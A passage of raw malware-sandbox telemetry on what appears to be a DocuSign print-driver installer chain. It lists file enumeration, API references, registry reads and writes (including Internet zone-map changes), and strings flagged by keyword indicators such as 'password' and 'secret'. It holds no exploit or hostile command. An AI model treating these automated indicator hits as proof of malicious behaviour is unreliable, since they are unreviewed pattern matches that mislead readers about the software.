00000000-00006420) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00006420) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter 6078762b90671c2ff9ba39318e2176d8 (UID: 00000000-00006420) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter 4bc9a490e09c4482905e650c6310216b (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter 704b6614c4744d16332d08daf175deed (UID: 00000000-00006420) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter 808887ebadf1a37835b907c866cede3c (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter fe3c9cf707273488c6c658d52d624640 (UID: 00000000-00006420) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00006420)6f:T5f9,Found string "Select-Object" (Indicator: "Select-Object"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Measure-Object" (Indicator: "Measure-Object"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Microsoft.PowerShell.Core\Where-Object {$_.Name -match '^Verbs.'} |" (Indicator: "Where-Object"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Microsoft.PowerShell.Utility\Select-Object @{" (Indicator: "Select-Object"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "$allVerbs | Microsoft.PowerShell.Core\Where-Object { $_.Verb -like $v }" (Indicator: "Where-Object"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "ForEach-Object" (Indicator: "ForEach-Object"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Where-Object" (Indicator: "Where-Object"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Compare-Object" (Indicator: "Compare-Object"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Group-Object" (Indicator: "Group-Object"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Sort-Object" (Indicator: "Sort-Object"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Tee-Object" (Indicator: "Tee-Object"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp")70:T879,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API "Process32NextW" (Indicator: "Process32Next"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API "Process32FirstW" (Indicator: "Process32First"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp")71:T480,Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API "COMPlus_Disable_GetTempPath2" (Indicator: "GetTempPath"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found reference to API "GetTempPath2W" (Indicator: "GetTempPath"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found reference to API "GetTempPath2A" (Indicator: "GetTempPath"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp")72:Tc94,Found string "Failed to write secret to pipe." (Indicator: "secret"; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found string "Failed to write secret length to pipe." (Indicator: "secret"; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found string "Failed to allocate pipe secret." (Indicator: "secret"; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found string "Failed to read size of verification secret from parent pipe." (Indicator: "secret"; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found string "Verification secret from parent is too big." (Indicator: "secret"; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found string "Failed to allocate buffer for verification secret." (Indicator: "secret"; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found string "Failed to read verification secret from parent pipe." (Indicator: "secret"; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found string "Verification secret from parent does not match." (Indicator: "secret"; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found string "Failed to copy connection secret from command line." (Indicator: "secret"; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found string "Failed to set download password." (Indicator: "password"; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found string "passwordFormat" (Indicator: "password"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "passwordAttemptWindow" (Indicator: "password"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "passwordStrengthRegularExpression" (Indicator: "password"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "passwordStrengthRegularExpression="" />" (Indicator: "password"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "passwordbasedencryption" (Indicator: "password"; Source: "00000000-00006420.00000001.214348.0CD90000.00000004.mdmp") Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00006420.00000001.214348.0CDB0000.00000004.mdmp") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00006420.00000001.214348.0CDD0000.00000004.mdmp") Found string "passwordpropertytextattribute" (Indicator: "password"; Source: "00000000-00006420.00000001.214348.0CDE0000.00000004.mdmp") Found string "secretagreementflags" (Indicator: "secret"; Source: "00000000-00006420.00000001.214348.0CE00000.00000004.mdmp") Found string "safencryptsecrethandle" (Indicator: "secret"; Source: "00000000-00006420.00000001.214348.0CE00000.00000004.mdmp") Found string "passwordauthenticationmechanism" (Indicator: "password"; Source: "00000000-00006420.00000001.214348.0CE80000.00000004.mdmp")73:T10c4,Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00002772.00000000.215210.DE600000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00002772.00000000.215210.DE600000.00000004.mdmp, 00000000-00002772.00000000.215210.DE780000.00000004.mdmp, 00000000-00002772.00000000.215210.DE840000.00000004.mdmp, 00000000-00002772.00000000.215210.E08D0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00002772.00000000.215210.DE600000.00000004.mdmp, 00000000-00002772.00000000.215210.DE780000.00000004.mdmp, 00000000-00002772.00000000.215210.DE840000.00000004.mdmp, 00000000-00002772.00000000.215210.E08D0000.00000004.mdmp") Found string "ata=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00002772.00000000.215210.DE840000.00000004.mdmp") Found string "ata=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00002772.00000000.215210.DE840000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00005036.00000000.215916.02940000.00000004.mdmp, 00000000-00005036.00000000.215916.02B80000.00000004.mdmp, 00000000-00005036.00000000.215916.052B0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00005036.00000000.215916.02940000.00000004.mdmp, 00000000-00005036.00000000.215916.02B80000.00000004.mdmp, 00000000-00005036.00000000.215916.052B0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00005036.00000000.215916.02940000.00000004.mdmp") Found string "NDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00005036.00000000.215916.02940000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00005136.00000000.218070.7C300000.00000004.mdmp, 00000000-00005136.00000000.218070.7C630000.00000004.mdmp, 00000000-00005136.00000000.218070.7E310000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00005136.00000000.218070.7C300000.00000004.mdmp, 00000000-00005136.00000000.218070.7C630000.00000004.mdmp, 00000000-00005136.00000000.218070.7E310000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00005136.00000000.218070.7C300000.00000004.mdmp") Found string "2\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00005136.00000000.218070.7C300000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00006420.00000000.214162.CF280000.00000004.mdmp, 00000000-00006420.00000000.214162.CF5C0000.00000004.mdmp, 00000000-00006420.00000000.214162.D0F60000.00000004.mdmp, 00000000-00006420.00000000.214162.E9770000.00000004.mdmp, 00000000-00006420.00000001.214348.CF280000.00000004.mdmp, 00000000-00006420.00000001.214348.CF5C0000.00000004.mdmp, 00000000-00006420.00000001.214348.D0F60000.00000004.mdmp, 00000000-00006420.00000001.214348.E9770000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00006420.00000000.214162.CF280000.00000004.mdmp, 00000000-00006420.00000000.214162.CF5C0000.00000004.mdmp, 00000000-00006420.00000000.214162.D0F60000.00000004.mdmp, 00000000-00006420.00000000.214162.E9770000.00000004.mdmp, 00000000-00006420.00000001.214348.CF280000.00000004.mdmp, 00000000-00006420.00000001.214348.CF5C0000.00000004.mdmp, 00000000-00006420.00000001.214348.D0F60000.00000004.mdmp, 00000000-00006420.00000001.214348.E9770000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00006420.00000000.214162.CF280000.00000004.mdmp, 00000000-00006420.00000001.214348.CF280000.00000004.mdmp")74:Tdd8,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\FLTMC.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\MSIEXEC.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\SC_FEEDBACKTOOL_107829898\SECONDINSTALLER.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "SecondInstaller.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\PARAMETERS"; Key: "RPCCACHETIMEOUT"; Value: "") "SecondInstaller.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\TEMP\{768A3F2B-CA05-49E6-9E81-BF3FFA4377AB}\.CR\SECONDINSTALLER.EXE"; Value: "") "SecondInstaller.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\TEMP\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.BE\DOCUSIGN PRINT DRIVER X64.EXE"; Value: "") "SecondInstaller.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\FONTCACHE\PARAMETERS"; Key: "CLIENTCACHESIZE"; Value: "") "Docusign Print Driver x64.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "Docusign Print Driver x64.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000011"; Key: "PACKEDCATALOGITEM"; Value: "") "Docusign Print Driver x64.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000014"; Key: "PACKEDCATALOGITEM"; Value: "") "Docusign Print Driver x64.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000016"; Key: "PACKEDCATALOGITEM"; Value: "") "Docusign Print Driver x64.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE_CATALOG5\CATALOG_ENTRIES\000000000001"; Key: "LIBRARYPATH"; Value: "") "Docusign Print Driver x64.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE_CATALOG5\CATALOG_ENTRIES\000000000001"; Key: "DISPLAYSTRING"; Value: "")75:T4925,"SecondInstaller.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "SecondInstaller.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "SecondInstaller.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") "SecondInstaller.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "SecondInstaller.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC1C75"; Value: "64040000000000000400040001000400010100000212F80072ED8101A5ADCF00C777D70023020200000000695303007C7603007F450101BF1E0101CF2A010212F80002388F020238F2020292300302E6380103123103032D3A0303AA2B0104931A01057A050306596C0107AB1703086A6703088D420108C557030921B500095AA9020992F8000996600309A3360109CA760309EF7D000A7A05030B9292010B9F75030CBB5A030CE9C2000D3045030D37C6000D7879000DA181000DAF63030DBE82010DD3F9000DDB80010E013E010E963D010EBACD001142C200118AE60211DCE4021202050312E5F8001312310313BC940113BED00213E978001564630315B6250115CEEB00173F5E011793380117D9D40217FADD02189AC7021920610319C0E2001A0A2B031A912C031B4278001BDA83031BF60B001C955C001CA721011CB949031D4912011E1B35031E25A8021F4EA8001FC738031FD80E032018F20020DA160320DB370321013E0121777A002311AF02231F520323A8200323CC4F012429FE02246B460124ACC700253AD50025BE1701262CC202268B0A03269F2D032704AE022717B60227406A032769120127DB21012812EA0228A11B012919410129203B012945010129B160032A024A032A0E39012A68A9002AB722012AC7DE002AE768032B2499002B9F5B022BE9CA022C3D81002CC9EE022CD842012D2152032D5838012DD8F4002E29F3022F39D5002F4759032F9546012FB6F6023050250130E98E03311160033115E70231484F003193040331CF4402322916033257A4003263C30233DF5D01352C5D0235B3300336B85E0136F81D01373938033789BF02380E670139DF94023A0A9E023A5460033BCE34013BF4DD023C2E3A023CB352003D73EB023E3383003EA5FA003ED9CC013F239F023F7B6F034056F10040B02A014188A60241A87600421D0B0142264A00427A5D0342B3AE00447AE602458D6D03461D0B01463F17034648B6004679D10046C221014732EE0247B1490347E44C03485B750348C24F0048D7700348F9A60049EAB7004AAA81004BF4C2014C37FA004C41B4004CA770004CC84B014DCB6C034E1224014E8D22034E9FF0004EE7C1004F14C2004F34280150406A0350614E0350EA43015232300254B7DC00552D2003555F2A01560A850057AD120157BB4402580BD00058AB1703590F1C01595394005A5EB5005BE834035C7465015C926B035CF431025F997A0360622E0360BA32026113240161CA2A0162226803625AC6016396770063BE7A0364D419016530540165C97603664D6003671C8A02673B5B0167F16A036830F00268CF72036978EB02698DB9026AC562026B1060036B1DA8026BED71036C2885026D3E43016E5E63036E7820036EF841016F00BC026F9777036FB3110170DB6D0370FD2903710528017140A3007179730371965803723C1200726E4A00729B370172A2420172ED81017355FD0273866E037477AD0074C7A40275A37E0075AB0A017679E90276BC210177A66D0377EE6E037808EC027815960079856103799C390079D46D037A8B88037AE393017B45D5007B62CE027B863D027B9FEB007BA8D1007BEE63037D45BE027E1044017F88CA007FC1A802804A710281069500822773008258680183061B0183F16000844D26018450EB0084E6830085124A008550AE00867B0601876A49018792170187B14D0187D7210187DE830087F025018893A002892F83028997F5008A8093008AD300028AFAE3008B4E1D018B5188008B9DA1018BEEF2008C1360038CE6F5028E1D68038E78A2008ED6DC018F88A20290194F0390A6A10190EE37019123D3009158A40291C47B039386610093CE8C0194BB5A03950BFE00959F330195CAD00295E1DB00971C6103976AB60097748D0097F6C40098724601987F5C03992D720399FEF7019A18D7029B2BDB009B4D87009C1F4D039C4741019C623A019C7E6A039CA4EB009CC37E039CE0A8009D9D92009E98BB029F47B5029F9192019FEBD402A08F4E03A0E70F03A10E3603A189C700A1D07B02A2050600A221C802A2589C02A2BB1A03A3568803A37ABA02A39B8703A3B24E03A3D40803A4580200A4BA3701A5ADCF00A61CA802A644A600A6E9B300A736A800A754A102A7B8AD00A841F102A8680903A8C81503A9170602A95E1E03AC54F900AC9A6C03AD73BF00ADD4EC00AEC78F02B054A102B0A05403B0F62E03B1B39F02B291DD00B2AA2101B3008103B392FB00B3BF2D01B4526303B47E5803B4F76703B4F9EA00B554A102B5610D01B5F67303B7F00202B8343801B854A102B8673B01B8947603B91AF300B99EC901BAEA5A03BAF9E900BB6A8502BB8E8B00BC54A102BC6EB400BCD22A01BCFA8D00BD388F00BD447403BD539800BE0CAC00BE7E4501BE827203BF516003BF8ECE00BFAB1703C046AD00C054A102C0DB4901C1B2AA02C20C5B02C2610B01C33EA300C36D8100C399F300C3AEF102C4274E03C535C900C561EA01C6BE4201C75DD700C777D700C8464E00C92FB902C9384F01C9389700C953F100CA23B700CA99CE00CB74DA00CBB9E902CC495600CDAA1703CDAD0501CF676901CF74AA00CFF42B02D0175600D19A7B00D1D2A700D2A92B01D3826100D3E88D00D45AC702D4D17A03D6ECC602D6F6DE00D73DEB02D9072401D9286803D9A28003D9F95503DA163E02DA38C801DAC97603DAFF0E00DB19EC02DB26D801DB677F03DB724701DBB2CC02DD1B1901DF1F8001DF416303DFA8C601DFDA3703E03EE701E061C302E0943802E0F56603E1790503E17E8C00E183AC02E1D9F502E21B5600E2907C03E2A25403E3E25B03E4402701E469C900E5CE9A02E5D95903E63E2B0DE66C8100E6FB3903E71BEC02E8803F02E89EFA00E8E09501E91BB302E98C0A01EA94CC02EAC66A03ED3EDC02EDCE8403EE051703EE2A5803EF264D03F01C3F03F0E0B600F15CD402F17D5F00F1FC6000F2B4FA00F308DB00F3282101F36E7603F4CC3E01F548B100F5500D01F5572A01F6DD3C03F7125E00F7D36F00F7DAAD01F7E89101F7ED6A00F7EE4501F9778C00F9BB9401F9EA9E02FA408503FB080601FB365B03FC3A4701FD676403FDDFE501FF340002FF5C5E01FFAB4503E900060000000047F10000EB9E0201914001021C410102354F0102A4150102BD7E0004921E010537C600059D3D0305A43C01068653030A29D8000BFF5C000C771A010D9A03010E4D7E000E9D19010FBA9E00110FAA00117C450112B95D0313198300132FD30014AAFD0015402801159ADB0015BCB701181F1B0119C398001A59F7021AFA99001B07F5021E513D03227A4C0322D38900246F160024798902279BCE0027A2A200288BB4002900D800295563032C21D7002DB1A3002E534C012F28F00232551E013256AE0032D45F013307F50236D841013706F4023722C70037F81D013AE8CC023D5E35013F1CEA0042315F00427F7A004293800042C46A0048C6F5004ACD84034BC836014BDE41014CAF71004D863E034F0B45014F6B6803508FC40052221301528C490153D88F0054202B0154C6FB025677E80256B722015787490159E5D30059EA60015C24C7025CC005015D4F44015DB340015E42C4005F6C4A015F6CDC0060AA560160B9410161FC390162295101628E74036363810064C92601657A4C036768A7006843CE026B0110016E7B8C00702C480370BF190170E8250172D8360173D3A70076418E0077BB2B01792D4F017A2226017C22B8007C78A4008009EF02821ABA0082E6F40084680B018571190387279C028B52CB008BA36B038C3BD3008CAB17038D0547018E08C4028F0643018F3CF30091508A009167C80091962201922F93029283510192C41401930547019369C70096390B01994664019AC657019C4027019CA553039D9FA0009F60C3009F8F6E009FC8CA00A0B50A01A19D2A01A1D7B300A3B06D03A3C4E200A3F76A00A428F302A5022703A5040301A522A400A58F6000A638DA00A7C23301A9B2DB00AA9FCE02AAA82503AB783D01AC840E01ADEFD302AF686403AFEFC900B1414503B4892201B57A4801B6515D00B6D7E602B7E2BF00B9E36D03BA146500BA6CD402BEDF4403BFC82603BFF1A900C221D100C2278403C3812101C3DC2403C5C00501C6064E03C82BFC00C9D7CA00CAC5FB02CCC10101CCE11703D0402701D0D32201D0FE6200D12A5201D1589600D3301C01D3834B01D3FE2103D68EFB00D6B79A00D8793D01D9054C03D9114401DA19D700DAD87E00DC30D100DC63F402DDEB2601DE016D03DFD52201DFD83601E3192F01E42C4C01E6199B00E7163001E79B3B01E8A4C601E9D1F500ED3FDC02F00E4E01F19F4301F21B3203F3791E03F3894001F4062801F4793D01F4AD7A00F4C82F01F629F302F65FE401F6D9EC00F7D45F01F8719A00FA67CB00FCA53B03FE5BFE00FF506003010007000000E42C4C010900400100000212F8002DD8F4004B11B4006041AE007BA8D1008AFAE3009F27FF00A5ADCF00C777D70005004101000006596C012AB72201C9384F01CDAD0501CFF42B0203004201000027691201380E670172ED8101010043010000C0EC7C0001004601000090A6A10100") "SecondInstaller.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC3475"; Value: "F701000000000000040004000102100000000000770000000D787900020000002A0AE302020000002F92E302020000005990030302000000648C0303010000006B507E00020000008509E3020600000087DE83000100000090A6A10102000000917003033C000000A19F5E0002000000D66F030301000000DBB4EF0002000000EC8C030301000000EEAAD50202000000FED37A0005000100000001000000187DC7005700000056737D000A0000006B507E00010000009829B7000A000000E6C53100080004000000700000001A9CB20002000000370AE3020100000092D7B8020100000099D7B80202000000AF90030301000000BC44AA0201000000DAD87E0002000000EFBA8302010005000000010000009FC8CA0002006400000001000000421D0B0102000000461D0B0103006500000001000000779B930084120000E6C531000C000000F0E0B60001006600000001000000779B930001006800000001000000BC6EB40001007D0000000100000065A69E0001007F0000000100000065A69E0000") "Docusign Print Driver x64.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC1C75"; Value: "65040000000000000400040001000400010100000212F80072ED8101A5ADCF00C777D70024020200000000695303007C7603007F450101BF1E0101CF2A010212F80002388F020238F2020292300302E6380103123103032D3A0303AA2B0104931A01057A050306596C0107AB1703086A6703088D420108C557030921B500095AA9020992F8000996600309A3360109CA760309EF7D000A7A05030B9292010B9F75030CBB5A030CE9C2000D3045030D37C6000D7879000DA181000DAF63030DBE82010DD3F9000DDB80010E013E010E963D010EBACD001142C200118AE60211DCE4021202050312E5F8001312310313BC940113BED00213E978001564630315B6250115CEEB00173F5E011793380117D9D40217FADD02189AC7021920610319C0E2001A0A2B031A912C031B4278001BDA83031BF60B001C955C001CA721011CB949031D4912011E1B35031E25A8021F4EA8001FC738031FD80E032018F20020DA160320DB370321013E0121777A002311AF02231F520323A8200323CC4F012429FE02246B460124ACC700253AD50025BE1701262CC202268B0A03269F2D032704AE022717B60227406A032769120127DB21012812EA0228A11B012919410129203B012945010129B160032A024A032A0E39012A68A9002AB722012AC7DE002AE768032B2499002B9F5B022BE9CA022C3D81002CC9EE022CD842012D2152032D5838012DD8F4002E29F3022F39D5002F4759032F9546012FB6F6023050250130E98E03311160033115E70231484F003193040331CF4402322916033257A4003263C30233DF5D01352C5D0235B3300336B85E0136F81D01373938033789BF02380E670139DF94023A0A9E023A5460033BCE34013BF4DD023C2E3A023CB352003D73EB023D7FE6003E3383003EA5FA003ED9CC013F239F023F7B6F034056F10040B02A014188A60241A87600421D0B0142264A00427A5D034